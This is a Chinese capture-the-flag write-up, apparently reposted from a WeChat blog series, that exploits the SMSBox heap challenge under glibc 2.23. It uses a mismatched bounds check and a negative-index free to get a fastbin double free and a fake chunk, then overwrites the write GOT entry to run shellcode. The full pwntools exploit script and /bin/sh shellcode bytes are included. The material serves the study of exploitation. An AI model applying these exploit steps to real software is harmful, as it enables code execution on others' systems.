1、SMSBox
https://github.com/kezibei/pwn_study/tree/main/SMSBox
这题有那么一点点魔幻。本题附带libc为2.23，而且是debian的，我们无需真的去找debian的glibc，直接用glibc-all-in-one中的任意2.23即可。
熟悉的增删查，但没有改，add之后可以直接输入字符串。来看代码。
count和list都在bss段上。先看第一个判断 if ( count > 63 )，count默认为0，一直加到64时才会大于63，因此最多能生成0-64，一共65个chunk。
开辟chunk，read输入字符串。
*(&list + count) = buf;最后将buf指针存储在list中。
在gdb中我们可以更直观的看到。
gdb SMSbox
r
1
AAAA
1
AAAA
Ctrl+C
x/20gx 0x602080
x/20gx 0x603000
再看delete
transfer()跟进去之后发现就是读取输入的数字。
先判断其不为-1，再判断其小于等于count，然后从list中取出，并free掉。
下面的while则是从list+v1*8开始一直到list+62*8都依次向前移动。
也就是说count为5，一共有6个chunk在list上排列。
chunk0，chunk1，chunk2，chunk3，chunk4，chunk5
delete(2)的话，count变成4，list上布局为。
chunk0，chunk1，chunk3，chunk4，chunk5。
再次delete(2)呢？count变成3，list布局为。
chunk0，chunk1，chunk4，chunk5。
也就是说如果我们想删除所有chunk，只需要不断的delete(0)即可，不需要依次delete(5)到delete(0)。
gdb上调试感受一下，先增加6个chunk。
delete(2)
delete(2)
最后看一下show()的代码，无需分析。
之前的堆题是没有清空buf指针，导致可以edit劫持fd，这次连edit功能都没有该怎么办呢？
这里需要借助delete的两个漏洞，第一个是前后校验问题，在分析add()的时候，我们知道count最大为64，那么result <= count和v1 <= 62就存在校验不统一。
如果我们弄出0-64个chunk，delete(63)的话，能通过第一个校验，第二个通不过，也就会导致会free(list+63*8)，但list不会向前推。
#!/usr/bin/env pythonfrom pwn import *context.log_level = 'debug'sh = gdb.debug("./SMSBox","b show")def add(arg):sh.recv()sh.sendline("1")sh.recv()sh.sendline(arg)def delete(arg):sh.recv()sh.sendline("2")sh.recv()sh.sendline(str(arg))def show(arg):sh.recv()sh.sendline("3")sh.recv()sh.sendline(str(arg))for i in range(0,65):add("AAAA")delete(63)show(20)
可以看到，0x15f4bd0已经被free进入fastbin，但list依旧记录着它(0x15f4be0，list实际记录的是字符串的位置，而chunk有size，所以实际位置会高16位)。
然后我们delete(0)，此时0x15f4be0就会往前推，它原本是chunk63的位置，现在到了chunk62的位置。
delete(0)
注意，它已经被free()，所以此时show(62)就会出现00字节，这里的00就是0x15f4bd0的fd，可以回顾一下之前的图。
show(62)
这里也解释了为什么最开始我们不用delete(64)，因为delete(64);delete(0)之后，出问题的chunk64在list+63*8的位置上，而此时经过了两次delete，count计数为62，无法show(63)。
既然可以show(62)，然后就要进行堆题常见的一个操作，double free，也就是delete(62)。
delete(62)
0x15f4bd0被free了两次，此时fastbin就出现了一个神奇的布局
fdA——fdB——fdA
在上一个堆题中，我们是通过edit劫持fd，达到任意内存读写。而这题中如果我们再add(AAAAAAAA)，那么fdA就会变成AAAAAAAA，第一个fdA被消耗，第二个fdA也会跟着变化。那么内存布局就变成了这样。
add(“AAAAAAAA”)
那么很明显，通过double free，实现fdA——fdB——fdA的循环布局，我们也能够实现fd劫持。
但实际利用远远没有这么简单，再次回顾之前的堆题，我们delete了一次之后，必须add两次才能在劫持的fd上开辟chunk。而这题我们delete了3次，所以必须add4次，然而count已经不够了。
add(“AAAAAAAA”)
add(“AAAAAAAA”)
add(“AAAAAAAA”)
回顾之前的操作，有节省count的地方吗？比如一开始就只增加0-63个chunk。
add(0-63) //count=63delete(63) //count=62delete(0) //count=61delete(62) //count不够
显然不行，那么就需要用到delete的第二个漏洞，delete(-2)来减少count，我们再来回顾delete代码。
回顾delete代码，这个result != -1其实提示的还算明显，如果result为其他负数，free(list+result)我们需要控制在一个为0x0的地方，这样free才不会报错也不会真的free一个chunk。这样count就会减小，list也会整体向前移动。
这两个漏洞非常的有趣，第一个是成功执行free()，count-1，但list不前推，第二个是free(0x0)，count-1，list前推。
而这样的空间仔细一看还有不少，甚至有更改count的机会。那么如何输入负数呢，在auth这题我们接触过。
0xffffffff=-1
0xfffffffe=-2
0xfffffffd=-3
0xfffffffc=-4
0xfffffffb=-5
-4就到count地址了，就会free(0x3d)导致报错，所以这里选-3最合适。
delete(63)delete(0)delete(62)add("AAAA")add("AAAA")add("AAAA")show(20)delete(0xfffffffd)show(20)add("AAAA")show(20)
可以和我一样拿show(20)当断点。delete(-3)之前。
delete(-3)之后，发生前推现象。
然后再add(“AAAA”)直接报错。
那么我们可以将第一个劫持fd的add(“AAAA”)修改成一个正确地址，比如got表。
但heapinfo会提示size错误，最后也会报错。
这是因为fastbin的size检测的原因，具体自行搜索。
我们需要找到一个满足fastbin的size的地址，翻来覆去好像也就count的位置比较合适，一是它的大小在0x40左右，比0x31要小，二是它可控。
但不能直接add(p64(0x602080))，因为chunk size并不是在最开始的8位，而是后8位，如下图可得add(p64(0x602080-8))。
更改add(p64(0x602080-8))之后size还是不满足，最后add也会报错。
那么我们再delete(0xfffffffd)一次改变count也就是chunk size大小，这次可以成功在count地址建立一个fake chunk。
delete(63)delete(0)delete(62)add(p64(0x602080-8))add("AAAA")add("AAAA")delete(0xfffffffd)delete(0xfffffffd)add("AAAA")show(20)
可以看到AAAA被成功写入，位置在list-3*8。能不能通过add(atoi_got);show(-3)来获得真实地址呢？
动态调试的结果是不行，因为write的第三个参数是0。回顾代码和chunk布局，正常这儿应该是0x5，代表存储的字符串长度，0x602048+6*8的位置则是0x0。
那么我们只需要换一个len位置不为0的got即可泄露真实地址，比如free_got
delete(63)delete(0)delete(62)add(p64(0x602080-8))add("AAAA")add("AAAA")delete(0xfffffffd)delete(0xfffffffd)elf =ELF("./SMSBox")got =elf.got['free']add(p64(got))show(0xfffffffd)
甚至由于len过大，连下面的count+chunk地址也一并泄露。
那么接下来的问题就是如何劫持got表。
我们改写内存的方法似乎只有一种，那就是通过double free劫持fd，然后新建chunk写入字符串。但由于fastbin的size检测原因只能写count附近的内存。有没有其他办法写got地址呢？
答案在add()中，add是会将chunk地址记录在list中的。
list记录buf指针时，是在list+count*8的位置记录，got地址刚好在list上方，离这段代码最近的的函数是write，那么想要劫持write就可以计算出count的数字。
也就是说，如果我们能将count改写成0xffffffef，执行add()即可将write_got改写成buf也就是一个chunk的地址。那么接下来执行write会跳转到chunk上执行，那么chunk段能执行吗？
答案是肯定的，这样看来泄露的libc真实地址用不上了，直接在chunk写入shellcode就行。
如何将count改写成0xffffffef呢？add(p64(0xffffffef));delete(0xfffffffb)，这样就会将0xffffffef向上覆盖，覆盖到count位置，同时破坏了count和fake chunk。
delete(63)delete(0)delete(62)add(p64(0x602080-8))add("AAAA")add("AAAA")delete(0xfffffffd)delete(0xfffffffd)add(p64(0xffffffef))show(20)delete(0xfffffffb)show(20)add("x90"*16)
先add(p64(0xffffffef))
再delete(0xfffffffb)
count被破坏，最后再add一个带shellcode的，这里先用NOP代替，执行到最后一个show断点，先b add再c。然后慢慢单步n。
单步过程中盯着rax，这里可以看到count为0xffffffef。
经过malloc建立chunk之后，来到第一个write，此时write_got未被劫持，正常执行。
到read处，此时将输入的字符串(x90)写入buf，也就是我们最后放shellcode的chunk。
执行read完后，chunk填充x90
mov qword ptr [rax*8 + 0x6020a0], rdx即如下代码，这行汇编前，write_got正常。
*(&list + count) = buf;
这行汇编后，write_got被精准劫持。
然后一路n到下一个write。
按s步入，成功在heap段上执行代码。
那么最终exp就出来了，注意这里因为字符数量限制shellcode要用一个最短的。
#!/usr/bin/env pythonfrom pwn import *context.log_level = 'debug'#sh = gdb.debug("./SMSBox","b show")sh = process("./SMSBox")elf = ELF("./SMSBox")atoi_got = elf.got['atoi']shellcode = "x50x48x31xd2x48x31xf6x48xbbx2fx62x69x6ex2fx2fx73x68x53x54x5fxb0x3bx0fx05"def add(arg):sh.recv()sh.sendline("1")sh.recv()sh.sendline(arg)def delete(arg):sh.recv()sh.sendline("2")sh.recv()sh.sendline(str(arg))def show(arg):sh.recv()sh.sendline("3")sh.recv()sh.sendline(str(arg))for i in range(0,65):add("AAAA")#double freedelete(63)delete(0)delete(62)#fake fdadd(p64(0x602080-8))add("AAAA")add("AAAA")#fake chunkdelete(0xfffffffd)delete(0xfffffffd)add(p64(0xffffffef))#libc#add(p64(got))#show(0xfffffffd)#write_gotdelete(0xfffffffb)add(shellcode)sh.interactive()
原文始发于微信公众号（珂技知识分享）：web选手入门pwn(10)
